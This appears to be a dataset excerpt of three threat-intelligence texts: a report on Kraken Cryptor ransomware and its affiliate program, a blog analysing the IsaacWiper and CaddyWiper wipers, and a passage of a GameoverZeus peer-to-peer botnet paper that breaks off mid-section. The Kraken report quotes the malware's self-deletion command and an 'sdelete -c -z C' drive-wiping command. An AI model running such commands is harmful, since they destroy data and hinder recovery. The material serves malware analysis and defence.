text
stringlengths
8
115k
# Scope Note Insikt Group used the Recorded Future product and dark web analysis to track the activity of threat actor ThisWasKraken, who operates the Kraken Cryptor ransomware affiliate program on a top-tier Russian-speaking criminal forum. Insikt Group collaborated with researchers at McAfee. Ransomware continually represents a major risk to organizations, and the target audience of this research includes day-to-day security practitioners as well as executive decision makers. ## Executive Summary Kraken Cryptor is a ransomware-as-a-service (RaaS) affiliate program that was introduced on August 16, 2018, on a top-tier Russian-speaking cybercriminal forum by the threat actor ThisWasKraken. Kraken Cryptor has gained popularity among members of the dark web, has been used to target users of the popular antivirus program SuperAntiSpyware, and has also been distributed through the Fallout exploit kit. ### Key Judgments - The Kraken Cryptor ransomware was first seen in the wild in August 2018. - Kraken is distributed by members of an affiliate program operated by ThisWasKraken, who is only active on Russian criminal forums. - To distribute malware, ThisWasKraken and/or its affiliates likely use the Fallout exploit kit. - We have identified that ThisWasKraken is using online casino BitcoinPenguin to launder illicitly gained funds. - Insikt Group assesses with a high degree of confidence that ThisWasKraken works within a team, whose members could be residing in Iran, Brazil, or former Soviet bloc countries. ## Background The Kraken Cryptor ransomware is a connectionless strain of ransomware that communicates with victims via email in place of any command and control (C2) infrastructure or landing pages. Kraken was first observed in the wild in August 2018 and gained notoriety when it was distributed from the compromised website of SuperAntiSpyware, disguised as the antivirus program. Kraken has also been distributed to victims via spam and malvertising campaigns, some of which redirect to the Fallout exploit kit for the final installation phase. Insikt Group has attributed the Kraken Cryptor ransomware to the threat actor ThisWasKraken, who operates the affiliate program that gives other actors access to Kraken for distribution. ThisWasKraken is relatively new to the dark web and is exclusively active on a Russian criminal forum, where the actor registered on August 12, 2018. The actor communicates using Russian and English; however, the analysis of their forum posts indicates that ThisWasKraken is neither a native Russian nor English speaker. To make forum posts in Russian, the actor likely uses automated translation services, as is evident by the awkward phrasing indicative of such a service. In contrast, the actor is noticeably more proficient in English, though they make mistakes consistently in both sentence structure and spelling. It should be noted that the Kraken Cryptor ransomware is different from the Kraken ransomware widely distributed in 2016 and is not linked to another ransomware strain detected in 2013 that used the “.kraken” extension. The Kraken Cryptor ransomware is not sold to users on a one-time basis. It is instead operated as an affiliate program that distributes builds of the ransomware to its participants, who in turn repay a percentage of the income earned from ransom payments. This technique of ransomware distribution, known as ransomware-as-a-service (RaaS), is commonly used on the dark web by cybercriminals because of its efficiency. ThisWasKraken calls the service the Kraken Cryptor v2 affiliate program, or Kraken ransomware-as-a-service, which was last updated on October 21. The latest version of the Kraken Cryptor is v.2.0.7. At the time of this report, the Kraken Cryptor ransomware-as-a-service (RaaS) required all potential affiliate partners to pay $50 per payload. Below are some of the terms and conditions of the affiliate program: - Affiliates receive 80 percent of the paid ransom. - The program can reject any member or candidate without explanation. - Affiliates receive a 24/7 support service. - Submitting Kraken sample files to antivirus services is forbidden. - The service provides no refunds for purchased payloads. ThisWasKraken introduced the Kraken Cryptor ransomware on a criminal forum on August 16, 2018. ## Threat Analysis According to ThisWasKraken, the Kraken Cryptor RaaS does not allow the targeting of the following former Soviet bloc countries: - Armenia - Azerbaijan - Belarus - Estonia - Georgia - Kyrgyzstan - Kazakhstan - Lithuania - Latvia - Moldova - Russia - Tajikistan - Turkmenistan - Ukraine - Uzbekistan In addition to the countries listed above, the latest samples of Kraken that have been identified in the wild no longer affect victims in Syria, Brazil, and Iran, suggesting that ThisWasKraken (or their associates) may have some connection to Brazil and Iran, though this is not confirmed. It is likely that Syria was added following the plea for help from a victim whose computer was infected by another ransomware called GandCrab. According to the map of infections provided below, we can still see a minor level of infections in excluded countries, despite specific fail-safe controls put in place by Kraken developers. Each affiliate of Kraken Cryptor RaaS receives a unique build of Kraken and must send the following information to ThisWasKraken to be configured: - A primary email address to communicate with victims - An alternative email address to communicate with victims - A ransom amount in Bitcoin, usually varying from 0.075 to 1.25 BTC - A list of countries not to target The analysis of the actor’s communication suggests that ThisWasKraken is likely part of a team and not personally involved in the development of the ransomware directly. The actor’s role is customer facing, which is accomplished through the Jabber account [email protected]. Communications with ThisWasKraken show that the actor refers all technical issues to the product support team at the email address [email protected]. Bitcoin is the only currency the affiliate program uses, and Insikt Group identified several wallets associated with the operation. Interestingly, it appears that Kraken's developers choose BitcoinPenguin, an online gambling site, as the primary money laundering conduit. Although not unusual, it is still very uncommon for criminal actors — specifically ransomware operators — to depart from more traditional cryptocurrency exchangers when laundering stolen funds. It is likely that one of the decisive factors for this unusual choice was due to the fact that BitcoinPenguin does not require any identity verification of its members, allowing anyone to maintain an anonymous cryptocurrency wallet there. Cryptocurrency exchangers are continuing to stiffen their registration rules in response to regulatory demands, but online crypto casinos do not have to follow the same “know your customer” (KYC) guidelines, providing a convenient loophole for all kinds of money launderers. On October 4, 2018, BleepingComputer reported that the Fallout exploit kit was being used to deliver the Kraken Cryptor ransomware v.1.5. It should be noted that on multiple occasions, ThisWasKraken mentioned the Fallout exploit kit and praised it for its high infection rate. At one point, ThisWasKraken even stated, “One of our partners joined the Fallout exploit kit, which is good for us.” Also, other forum messages indicate that ThisWasKraken purchased hijacked web traffic, which may be the same traffic responsible for Kraken infections from the Fallout exploit kit. Below are the technical specifications of the Kraken Cryptor ransomware v.2.0.7 posted by ThisWasKraken on October 21, 2018: - The ransomware is written in C# (NET. Framework v. 3.5). - The ransomware works offline and supports communication via email. - The size of the payload is around 85 KB, but antivirus analysis indicates that the payload size often reaches up to 94 KB. - Kraken primarily targets Windows OS versions 8, 8.1, and 10. - Kraken has a high speed of encryption. - There is no file size limit for encryption process. - The ransomware collects system information when victims are online. - Kraken uses a hybrid encryption algorithm, including AES-128/256 (CBC mode), as well as other ciphers (RSA, Salsa20, RC4). - The ransomware uses a smart obfuscation encryption method to target random positions of files, including network sharing encryption. - The ransomware encrypts storage devices on shared networks. - It is impossible to recover without paying the ransom. - Anti-debugging and anti-forensics tools are included in the package. - Ransom messages are available in 15 languages in HTML and TXT formats. - “Canary trap” anti-ransomware bypass methods are applied to identify key leaks. - Infection statistics are based on IPs. Affiliates are given a new build of Kraken every 15 days to keep the payload fully undetectable (FUD) from antivirus software. According to ThisWasKraken, when a victim asks for a free decryption test, the affiliate member should send one of the victim’s files with its associated unique key to the Kraken Cryptor ransomware support service. The service will decrypt the file and resend it to the affiliate member to forward to the victim. After the victim pays the full ransom, the affiliate member sends 20 percent of the received payment to the RaaS to get a decryptor key, which is then forwarded on to the victim. This system ensures the affiliate pays their percentage to the affiliate program and does not simply pocket the full amount for themselves. ## Technical Analysis The following technical analysis was conducted by McAfee’s Advanced Threat Research team and the results were shared with Recorded Future. The Kraken Cryptor ransomware encrypts data on the disk very quickly and uses external tools, such as SDelete from the Sysinternals Suite, to wipe files, making file recovery harder. The ransomware implements a user account control (UAC) bypass using the Windows Event Viewer. This bypass technique is used by other malware families and is quite effective for executing malware. McAfee analyzed an early subset of Kraken ransomware samples and determined that they were still in the testing phase, adding and removing options. The ransomware implemented a “protection” to delete itself during the infection phase: - `C:\Windows\System32\cmd.exe" /C ping 127.0.0.1 -n 3 > NUL&&del /Q /F /S` - `C:\Users\Administrator\AppData\Local\Temp\krakentemp0000.exe` This step is to prevent researchers and endpoint protections from catching the file on an infected machine. Kraken encrypts user files with a random name and drops the ransom note demanding that the victim pay to recover them. Each file extension is different; this technique is often used by specific ransomware families to bypass endpoint protection systems. Kraken, delivered by the exploit kit, bypasses the UAC using Event Viewer, drops a file on the system, and executes it through the UAC bypass method. During the compilation of the first versions, the authors of the binary forgot to delete the PDB reference, revealing that the file has a relationship with Kraken Cryptor. An early version of the ransomware with the path on Disk C contained the following path: - `C:\Users\Krypton\source\repos\UAC\UAC\obj\\Release\UAC.pdb` Later versions “dropped” the PDB path together with the Kraken loader. One unique feature of this ransomware family is the use of SDelete. Kraken uses a .bat file to perform certain operations, making file recovery much more challenging. Kraken downloads SDelete from the Sysinternals website, adds the registry key, accepting the EULA to avoid the pop up, and executes it with the following arguments: - `sdelete.exe -c -z C` The SDelete batch file makes file recovery much harder by overwriting all free space on the drive with zeros, deleting the Volume Shadow Copies, disabling the recovery reboot option, and finally, rebooting the system after 300 seconds. Earlier versions of Kraken were delivered by a loader before it moved to a direct execution method. The loader we examined contained a specific netguid. With this, McAfee found additional samples of the Kraken loader on VirusTotal. Not only did the loader have a specific netguid, but the compiled versions of Kraken also shared a netguid, making it possible to continue hunting samples. Kraken uses a configuration file in every version to set the variables for the ransomware. This file is easily extracted for additional analysis. Based on the configuration file, McAfee discovered nine versions of Kraken: - 1.2 - 1.3 - 1.5 - 1.5.2 - 1.5.3 - 1.6 - 2.0 - 2.0.4 - 2.0.7 By extracting the configuration files from all of the versions, McAfee built an overview of features. All of the versions examined mostly contain the same options, differing only in some of the anti-virtual protection and anti-forensic capabilities. The latest version, Kraken 2.0.7, changed its configuration scheme and is covered later. Other differences in Kraken’s configuration file include the list of countries excluded from encryption. The standouts are Brazil and Syria, which were not named in the original forum advertisement. Having an exclusion list is a common method for cybercriminals to avoid prosecution. Brazil’s addition to the list in Version 1.5 suggests the involvement of a Brazilian affiliate. ## Version 2.0.7 The most recent version examined comes with a different configuration scheme. This release has more options. McAfee expects this malware will be more configurable than other active versions. ### APIs and Statistics One of the new features is a public API to track the number of victims. Another API is a hidden service to track certain statistics. The Onion URL can easily be found in the binary. The endpoint and browser that Kraken uses is hardcoded in the configuration file. Kraken gathers the following information from every infection: - Status - Operating System - Username - Hardware ID - IP Address - Country - City - Language - HDCount - HDType - HDName - HDFull - HDFree - Privilege - Operate - Beta ## Kraken Infrastructure In versions 1.2 through 2.04, Kraken contacts blasze.tk to download additional files. The site has Cloudflare protection to mitigate DDoS attacks. This domain is not accessible from certain countries. Insikt Group was able to obtain a sample of the Kraken Cryptor ransomware and successfully encrypt and then decrypt a 64-bit Windows 7 machine. The encryption phase locked all target files, and, in those directories, placed a ransom note in HTML format with instructions for the victim. The note first instructs the victim to buy Bitcoin through LocalBitcoins.com or BestBitcoinExchange.io, and then to contact the primary or secondary email address listed for further instructions. Obviously, the infected machine still has access to its web browsers, so the victim can communicate with the attacker and pay the ransom. When the victim pays the ransom, they receive an email containing a link for the file-sharing service Uploadfiles.io that in turn downloads two files, Decryptor.exe and Private.txt. Private.txt contains two datasets: a private key and a private IV. When the program Decryptor.exe is executed, it requires the victim to copy and paste the private key and private IV into the respective fields in order to decrypt the files on their machine. ## Outlook The Kraken Cryptor ransomware is a 32-bit malware written using .NET Framework and protected with SmartAssembly, a commercial obfuscator that protects an application against reverse engineering. The malware is fully customizable through a JavaScript Object Notation (JSON) file that is likely generated by its builder. The existence of the list of countries that are not allowed to be targeted indicates that the members of this possible international hacking group may reside in these nations. Such behavior is usually considered as a security step by the criminals who do not want to be searched by local law enforcement agencies. Considering that ThisWasKraken is not a native English or Russian speaker, the possible residence of the actor may be Brazil or Iran. ## Appendix A: Key Indicators - **Jabber:** [email protected] - **Email:** - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - **Bitcoin Address:** 3MsZjBte81dvSukeNHjmEGxKSv6YWZpphH - **Hashes:** - SHA256:9c88c66f44eba049dcf45204315aaf8ba1e660822fe97aec51b1c305f5fdf14 (found on VirusTotal) - SHA256:e8afae434aa9c3a3c848aa1f0809ebbddb6c88d45f39ba4306bbdefac4e59207 (found on VirusTotal) - SHA256:528e4d24c18160b6bdd73c9a612d38a78fc58bd40c8ab415973a94429b321dfc (found on VirusTotal) - SHA256:6cef675a9f5bea74367f43c0f72aa8c1e8aea905b35e1d2f3c3f4597ea586465 (found on VirusTotal) - SHA256:4f13652f5ec4455614f222d0c67a05bb01b814d134a42584c3f4aa77adbe03d0 - SHA256:67b295e4e5ed3416e59c35f2bda3c6d190d026710aeafa47c877f848b0c1f23d (found on VirusTotal) - SHA256:047de76c965b9cf4a8671185d889438e4b6150326802e87470d20a3390aad304 (found on VirusTotal) - SHA256:0955167fb9c42aa9613654001262ef93cd2d3f86dd08e077a5799e1e10288545 (found on VirusTotal) - SHA256:0d15acf8e77ad0a90429d35b855114ce0b915a0923ba66d48b21f93778993ebb (found on VirusTotal) - SHA256:32f6289a99aa4aa52eb725b82681ef1b2a2dd52f6192ce154f20ccab7b04d3a7 (found on VirusTotal) - SHA256:6f347bcbe6f06db4219aa2376319fa949f4205a5a8c98c15c71707e95ac49a80 (found on VirusTotal) - SHA256:564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd (found by McAfee) - SHA256:53a28d3d29e655deca6702c98e71a9bd52a5a6de05524234ab362d27bd71a543 (found by McAfee) - SHA256:0b6cd05bee398bac0000e9d7032713ae2de6b85fe1455d6847578e9c5462391f (found by McAfee) - SHA256:159b392ec2c052a26d6718848338011a3733c870f4bf324863901ec9fbbbd635 (found by McAfee) - SHA256:180406f298e45f66e205bdfb2fa3d8f6ead046feb57714698bdc665548bebc95 (found by McAfee) - SHA256:1d7251ca0b60231a7dbdbb52c28709a6533dcfc4a339f4512955897c7bb1b009 (found by McAfee) - SHA256:2467d42a4bdf74147ea14d99ef51774fec993eaef311694125a3ced09e85256 (found by McAfee) - SHA256:2b2607c435b76bca395e4ef4e2a1cae13fe0f56cabfc54ee3327a402c4ee6d6f (found by McAfee) - SHA256:2f5dec0a8e1da5f23b818d48efb0b9b7065023d67c617a78cd8b14808a79c0dc (found by McAfee) - SHA256:469f89209d7d8cc0188654e3734fba13766b6d9723028b4d9a8523100642a28 (found by McAfee) - SHA256:61396539d9392ae08b2c9836dd19a58efb541cf0381ea6fef28637aae63084ed (found by McAfee) - SHA256:67db0f639d5f4c021efa9c2b1db3b3bc85b2db920859dbded5fed661cc81282d (found by McAfee) - SHA256:713afc925973a421ff9328ff02c80d38575fbadaf27adb0063b3a83813e8484 (found by McAfee) - SHA256:7260452e6bd05725074ba92b9dc8734aec12bbf4bbaacd43eea9c8bbe591be27 (found by McAfee) - SHA256:7747587608db6c10464777bd26e1abf02b858ef0643ad9db8134e0f727c0cd66 (found by McAfee) - SHA256:7e0ee0e707db426eaf25bd0924631db969bb03dd9b13addffbcc33311a3b9aa7 (found by McAfee) - SHA256:7fb597d2c8ed8726b9a982b2a84d1c9cc2af65345588d42dd50c8cebeee03dff (found by McAfee) - SHA256:85c75ac7af9cac6e2d6253d7df7a0c0eec6bdd71120218caeaf684da65b786be (found by McAfee) - SHA256:8a0320f3fee187040b1922c6e8bdf5d6bacf94e01b90d65e0c93f01e2abd1e0e (found by McAfee) - SHA256:97ed99508e2fae0866ad0d5c86932b4df2486da59fc2568fb9a7a4ac0ecf414d (found by McAfee) - SHA256:a33dab6d7adb83691bd14c88d7ef47fa0e5417fec691c874e5dd3918f7629215 (found by McAfee) - **Associated File Names:** - C:\ProgramData\Safe.exe - C:\ProgramData\EventLog.txt - # How to Decrypt Files.html - Kraken.exe - Krakenc.exe - Release.bat - <random>.bat - Sdelete.exe - Sdelete64.exe - <random>.exe - CabXXXX.exe - TarXXXX.exe - SUPERAntiSpywares.exe - ca7835865133121788bb07b49cedad3e9601656.exe - KrakenCryptor.exe - 528e4d24c18160b6bdd73c9a612d38a78fc58bd40c8ab415973a94429b321dfc_QiMAWc2K2W.exe - auService.exe - file.exe - e8afae434aa9c3a3c848aa1f0809ebbddb6c88d45f39ba4306bbdefac4e59207.exe - E8afae434aa9c3a3c848aa1f0809ebbddb6c88d45f39ba4306bbdefac4e59207._exe - Build.exe - **Kraken Unique Key:** - NFiz6rCPbObyymi97ANy/F/0CbBZwkrSKZS+CWwvXRrdTCxNoBu3t1n/GPEo7+nxYw+BymxKTTjgwT8lqSrWif2z1lkRe8ZaGGOaaX5M0zvZVrhRHA6zmqGeOpdiFZJuFlCDRSOn070UA0Lx+UORBac3K+LprDQhhCLvKakVpqc+6i8BbZObL6P+BahoBh+2Nt2CRsqAXMBdGteYDVr91B6E1peNKboKzsLQCaMafcLld20kE5myHoVgnOp7ZyWmPGHkOah0vHzs0ABTxI+bj6R3KQTqhgN9Z2AoBcItzQzkvYvVTvM3jhMCBhx5sIJstIWIR9701I5zjcOr6fw+tXF7v1HS0LW7EaRR5NDXb0yB/aWJLcln6oEJrgXYhd+ycUWIzB5wNSQTgQqzD0Xo8dwQR/pONPSR3Yx6XKj86MtnYdLEIduiH+fa8tqtknWZTeYS/42as8dpCKAcXN90Mj2n1jQ20sz/wZ2GjInZWphct51EfwpstDG5dsyo9vDzRtMM7Nw9qpUIHltHFHHw9xRz93ImPEWWPjsLUrLAttwfummENxt/Ncb3QEzil0sGcNCm/AdxlYz7EphVm1ON8k+0ronACMxWTH+g7wLXddrsUsP7LSftxPCD9lxkzLHFbr4O0OF/6YPbWdAwkTWrMQCeD2FediqLKI5rEuqBa44he6CUn8wq8KCx2f7rYg== - 2kHjgBUx6QQSkwRnLs5c/AdbjroDU4j5AanCabrpjBLnKCWGKwmlWQZR/RcCRF5KyAfMmPIks1JYEvh9bMh1Mv1CvbofBi4/HAttuictsmiVSRvMxRNDw3U29W0Li/PoSOYfBPUvHP58BhLTt3G5/AikhhHmf4FGtigUEkq5n/u60Zh0362s2nY1Ev0qEx+d45oDnYaoMIlihrcxtho7uqbu1sZPsgezzyEBl7f2BKOjXxD4ML8Cpwv69EHH+3tgt2gn9ys921NI3d3gjI8Z+GRSYnKNx1qRCoiCPQqL6MjUHEEOXkMOWITh/CacwQDMEEn2SlxDDisLvybdjw9y1Q== - **Malware signatures detected by McAfee:** - Artemis!09D3BD874D9A - Artemis!475A697872CA - Artemis!71F510C40FE5 - Artemis!99829D5483EF - Artemis!CE7606CFDFC0 - Artemis!F1EE32E471A4 - RDN/Generic.dx - RDN/Generic.tfr - RDN/Ransom - **Domains:** - Kraken656kn6wyyx.onion - blasze.tk - **PDBs found in the loader samples by McAfee:** - C:\Users\Krypton\source\repos\UAC\UAC\obj\\Release\UAC.pdb ## About Recorded Future Recorded Future arms security teams with the only complete threat intelligence solution powered by patented machine learning to lower risk. Our technology automatically collects and analyzes information from an unrivaled breadth of sources and provides invaluable context in real time and packaged for human analysis or integration with security technologies.
# Double header: IsaacWiper and CaddyWiper As war in Ukraine rages, new destructive malware continues to be discovered. In this short blog post, we will review IsaacWiper and CaddyWiper, two new wipers that do not have much in common based on their source code, but with the same intent of destroying targeted Ukrainian computer systems. ## IsaacWiper IsaacWiper was one of the artifacts security company ESET reported to be targeting Ukraine. Other artifacts were named as HermeticWiper (wiper), HermeticWizard (spreader), and HermeticRansom (ransomware). IsaacWiper is far less advanced than HermeticWiper, the first wiper that was found which we analyzed here. IsaacWiper is made of an executable, compiled with Visual Studio. The executable has imported functions like DeviceIoControl, WriteFile, MoveFile, GetDiskFreeSpaceEx, FindNextFileW. Although these functions are legitimate, the combination of all these imports could be suspicious. Sections analysis, on the other hand, is perfectly normal. No strange segments are found, and entropy has the expected values. The sample is presented in DLL form with just one export, named _Start@4 that contains the main functionality of the malware. The malware will iterate through all system disks, overwriting the first bytes of these disks. We have found that not only the physicalDrive but also partitions are wiped in the process. The wiper will iterate through the filesystem, enumerating files and overwriting them. This behavior is similar to ransomware activity, but in this case, there is no decryption key. Once the data has been overwritten, it is lost. The attackers left in the code various log strings. An example of one of these debug strings, being referenced inline, is presented below. In fact, these debug strings describe pretty well the malware functionality. All debug strings are presented below. As it can be seen, the attackers’ goal is destroying data on victims' systems. Affected users will lose their files, and their computers will be unbootable, forcing them to reinstall the OS. ## CaddyWiper CaddyWiper is a 3rd Wiper (after HermeticWiper and IsaacWiper) that was observed in this year’s attack on Ukraine. In contrast to HermeticWiper, this one is very small and has less complex capabilities. The sample is not signed and its compilation date is: 14 March 2022 07:19:36 UTC. The executable is dedicated to destroying files and partition information for each available disk. First, the wiper checks if it is running on the Primary Domain Controller. The malware will avoid trashing Domain Controllers, probably because it wants to keep them alive for the purpose of propagation. If the current machine is not a Domain Controller, the wiping starts. It recursively wipes files in the C:\Users directory. Then, it iterates over available hard disks, starting from “D:” and wipes recursively all the files it can access. The wiping is done in the following way: It tries to grant access to the files before writing. All the files/directories are enumerated by well-known APIs: FindFirstFileA / FindNextFileA. If the found element is a directory, the function is called recursively. And if it is a file, a new buffer filled with 0s is allocated, and the file content is overwritten with it. The buffer is limited to 10 Mb max, so if the file is bigger than this, only the beginning of it will be wiped. Interestingly, this enumeration starts from the drive letter D (treating C as a separate case), so if there are any disks mounted as A or B, they are skipped. Finally, the malware wipes layout information of the available disks/partitions. It starts from the \\.\PHYSICALDRIVE9, and at each iteration decrements the partition number by one. The wiping of the partition layout is implemented via IOCTL sent to the drive device: IOCTL_DISK_SET_DRIVE_LAYOUT_EX. The malware sets an empty buffer as the new layout. The sample is very mildly obfuscated and most of the used strings are stack-based. Also, the Import Table is very small, containing only one function. All the needed functions are dynamically retrieved, with the help of a custom lookup routine. CaddyWiper is extremely light in comparison to HermeticWiper, which was the most complex from all the wipers that have been associated with those attacks. There is no code overlap between each of them, and most likely they have been written by different authors. ## Protection Malwarebytes clients are protected against both of these wipers. ## Indicators of Compromise **IsaacWiper** 13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033 **CaddyWiper** a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea
# Highly Resilient Peer-to-Peer Botnets Are Here: An Analysis of GameoverZeus **Dennis Andriesse**, **Christian Rossow**, **Brett Stone-Gross**, **Daniel Plohmann**, and **Herbert Bos** VU University Amsterdam, The Netherlands, {d.a.andriesse, c.rossow, h.j.bos}@vu.nl Dell SecureWorks, [email protected] Fraunhofer FKIE, Bonn, Germany, [email protected] ## Abstract Zeus is a family of credential-stealing trojans which originally appeared in 2007. The first two variants of Zeus are based on centralized command servers. These command servers are now routinely tracked and blocked by the security community. In an apparent effort to withstand these routine countermeasures, the second version of Zeus was forked into a peer-to-peer variant in September 2011. Compared to earlier versions of Zeus, this peer-to-peer variant is fundamentally more difficult to disable. Through a detailed analysis of this new Zeus variant, we demonstrate the high resilience of state-of-the-art peer-to-peer botnets in general, and of peer-to-peer Zeus in particular. The Zeus P2P network serves two main purposes: (1) Bots exchange binary and configuration updates with each other. (2) Bots exchange lists of proxy bots, which are designated bots where stolen data can be dropped and commands can be retrieved. Additionally, bots exchange neighbor lists (peer lists) with each other to maintain a coherent network. As a backup channel, P2P Zeus also uses a Domain Name Generation Algorithm (DGA) in case contact with the regular P2P network is lost. Our results are based on Zeus samples collected from the Sandnet analysis environment between February 2012 and July 2013. When we began our analysis, no detailed information on the Zeus P2P protocol was available from related work. We verified the correctness of our results through prototype poisoning and crawling attacks against Zeus, which are described in our previous work. Our contributions are as follows: 1. We reverse engineer and detail the entire Zeus P2P protocol and topology, highlighting features that increase the botnet’s resilience to takedown attempts. 2. We show that P2P Zeus has evolved into a complex bot with attack capabilities that go beyond typical banking trojans. Particularly, we find that P2P Zeus is used for activities as diverse as DDoS attacks, malware dropping, Bitcoin theft, and theft of Skype and banking credentials. 3. Reports from academia and industry have long warned of the high resilience potential of peer-to-peer botnets. Through our analysis of the communication protocol and resilience mechanisms of P2P Zeus, we show that highly resilient P2P botnets are now a very real threat. ## 1 Introduction Since its first appearance in 2007, Zeus has grown into one of the most popular families of credential-stealing trojans. Due to its popularity, previous versions of Zeus have been extensively investigated by the security community. The internals of the first two versions of Zeus, which are based on centralized Command and Control (C2) servers, are well understood, and C2 servers used by these variants are routinely tracked and blocked. In May 2011, the source code of the second centralized version of Zeus leaked into the public domain. This has led to the development of several centralized trojans based on Zeus, such as ICE IX, and the more successful Citadel. In September 2011, a peer-to-peer (P2P) mutation of centralized Zeus appeared, known as P2P Zeus or GameOver. Due to its lack of centralized C2 servers, P2P Zeus is not susceptible to traditional anti-Zeus countermeasures and is much more resilient against takedown efforts than centralized Zeus variants. In this paper, we perform a detailed analysis of the P2P Zeus protocol to highlight how it achieves its resilience. Our insights also shed light on the resilience potential of peer-to-peer botnets in general. Centralized Zeus variants are sold as builder kits in the underground community, allowing each user to build a private Zeus botnet. Interestingly, this is no longer supported. ## 2 Network Topology The Zeus network is organized into three disjoint layers. At the bottom of the hierarchy is the P2P layer, which contains the bots. Periodically, a subset of the bots is assigned the status of proxy bot. This appears to be done manually by the botmasters, by pushing a cryptographically signed proxy announcement message into the network. The details of this mechanism are explained in Section 3. The proxy bots are used by harvester bots to fetch commands and drop stolen data. Aside from their special function, proxy bots behave like harvester bots. The proxy bots act as intermediaries between the P2P layer and a higher layer, which we call the C2 proxy layer. The C2 proxy layer contains several dedicated HTTP servers (not bots), which form an additional layer between the proxy bots and the true root of the C2 communication. Periodically, the proxy bots interact with the C2 proxy layer to update their command repository and to forward the stolen data collected from the bots upward in the hierarchy. Finally, at the top of the hierarchy is the C2 layer, which is the source of commands and the end destination of stolen data. Commands propagate downward from the C2 layer, through the C2 proxy layer to the proxy bots, where they are fetched by harvester bots. Similarly, data stolen by harvester bots is collected by the proxy bots and periodically propagated up until it ultimately reaches the C2 layer. The main P2P network is divided into several virtual sub-botnets by a hardcoded sub-botnet identifier in each bot binary. Since each of these sub-botnets is independently controlled, the C2 layer may contain multiple command sources and data sinks. ## 3 P2P Protocol This section describes our analysis results on the Zeus P2P communication protocol. The results are based on Zeus samples collected from the Sandnet analysis environment. ### 3.1 Overview As mentioned, the Zeus P2P network’s main functions are (1) to facilitate the exchange of binary and configuration updates among bots, and (2) to propagate lists of proxy bots. Most normal communication between bots is based on UDP. The exceptions are Command and Control (C2) communication between harvester bots and proxy bots, and binary/configuration update exchanges, both of which are TCP-based. Bootstrapping onto the network is achieved through a hardcoded bootstrap peer list. This list contains the IP addresses, ports, and unique identifiers of up to 50 Zeus bots. Zeus port numbers range from 1024 to 10000 in versions after June 2013, and from 10000 to 30000 in older versions. Unique identifiers are 20 bytes long and are generated at infection time by taking a SHA-1 hash over the Windows ComputerName and the Volume ID of the first hard drive. These unique identifiers are used to keep contact information for bots with dynamic IPs up-to-date. Network coherence is maintained through a push/pull-based peer list exchange mechanism. Zeus generally prefers to push peer list updates; when a bot receives a message from another bot, it adds this other bot to its local peer list if the list contains less than 50 peers. Bots in desperate need of new peers can also actively request them. ### 3.2 Encryption Until recently, bot traffic was encrypted using a rolling XOR algorithm, known as “visual encryption” from centralized Zeus, which encrypts each byte by XORing it with the preceding byte. Since June 2013, Zeus uses RC4 instead of the XOR algorithm, using the recipient’s bot identifier as the key. Rogue bots used by analysts to infiltrate the network typically use continuously changing bot identifiers to avoid detection. The new RC4 encryption is a problem because a rogue bot may not always know under which identifier it is known to other bots, thus preventing it from decrypting messages it receives. ### 3.3 Message Structure Zeus messages vary in size, but have a minimum length of 44 bytes. The first 44 bytes of each message form a header, while the remaining bytes form a payload concatenated with padding bytes. #### 3.3.1 rnd (random) In Zeus versions which use the XOR encryption, this byte is set to a random value. This is done to avoid leaking information, since the XOR encryption leaves the first byte in plaintext. In Zeus versions which use RC4 for message encryption, this byte is set to match the first byte of the session ID, so that it can be used to confirm that packet decryption was successful. #### 3.3.2 TTL (time to live) The TTL field is usually unused, in which case it is set to a random value, or to the second byte of the session ID for variants using RC4 encryption. However, for certain message types, this field serves as a time to live counter. A bot receiving a message using the TTL field forwards it with a decremented TTL. #### 3.3.3 LOP (length of padding) Zeus messages end with a random amount of padding bytes. This is most likely done to confuse signature-based intrusion detection systems. The length of the padding field indicates the number of padding bytes appended to a message. #### 3.3.4 type This field indicates the type of the message. The message type is used to determine the structure of the payload, and in certain cases the meaning of some of the header fields, such as the TTL field. Valid Zeus message types are described in Section 3.4. ### 3.4 Payload Structure In this section, we describe the structure and usage of the most relevant Zeus message types. Each of these message types is communicated over UDP, except for C2 messages and updates, which are exchanged over a TCP connection. #### 3.4.1 Version request (type 0x00) Version request messages are used to request a bot’s current binary and configuration file version numbers. These messages usually contain no payload, but may contain a payload consisting of a little-endian integer with value 1, followed by 4 random bytes. #### 3.4.2 Version reply (type 0x01) A version reply contains the version numbers of the binary and configuration files of the sender. The binary version indicates the sender’s Zeus version, while the configuration file version indicates the sender’s configuration file version. A TCP port is also sent, which may be contacted to download the updates via TCP. #### 3.4.3 Peer list request (type 0x02) Peer list requests are used to request new peers from other bots. Zeus only sends active peer list requests if its peer list is becoming critically short (less than 25 peers). Otherwise, bots typically rely on storing the senders of incoming requests. #### 3.4.4 Peer list reply (type 0x03) Peer list replies contain 10 peers from the responding peer’s peer list which are closest to the requested identifier. If the responding peer knows fewer than 10 peers, then as many peers as possible (potentially zero) are returned, and any remaining peer slots are zeroed out. #### 3.4.5 Data request (type 0x04/0x68/0x6A) A UDP data request payload starts with a single byte indicating the kind of requested data. This byte is set to 1 for a configuration file download, or to 2 for a binary update. The offset field indicates the word offset into the data at which transmissions should start, and the size field specifies how many data bytes should be sent. #### 3.4.6 Data reply (type 0x05/0x64/0x66) UDP data transfers (type 0x05) are sent in chunks of 1360 bytes, until no more data is available. If a bot receives a data reply containing less than 1360 data bytes, it assumes that this is the last data block, and ends the download. #### 3.4.7 Proxy reply (type 0x06) Proxy replies return proxy bots in response to version requests carrying a proxy request marker. A proxy reply can contain up to 4 proxy bot entries, each of which is RSA-2048 signed. #### 3.4.8 Proxy announcement (type 0x32) Proxy announcements are similar to proxy replies, but are actively pushed through the Zeus network by bots which are appointed as proxies by the botmasters. Newly appointed proxy bots announce themselves to all their neighbors, which pass on the message to all their neighbors, and so on. #### 3.4.9 C2 message (type 0xCC) Unlike most message types, C2 messages are only exchanged between harvester bots and proxy bots, and are exchanged over TCP. C2 messages are used as wrappers for HTTP messages. ### 3.5 Communication Patterns Each Zeus bot runs a passive thread, which listens for incoming requests, as well as an active thread, which periodically generates requests to keep the bot up-to-date and well-connected. #### 3.5.1 Passive thread Every Zeus bot listens for incoming messages in its passive thread. A Zeus bot receiving an incoming request attempts to handle this request as described in Section 3.4. The sender of any successfully handled request is considered for addition to the receiving bot’s peer list. #### 3.5.2 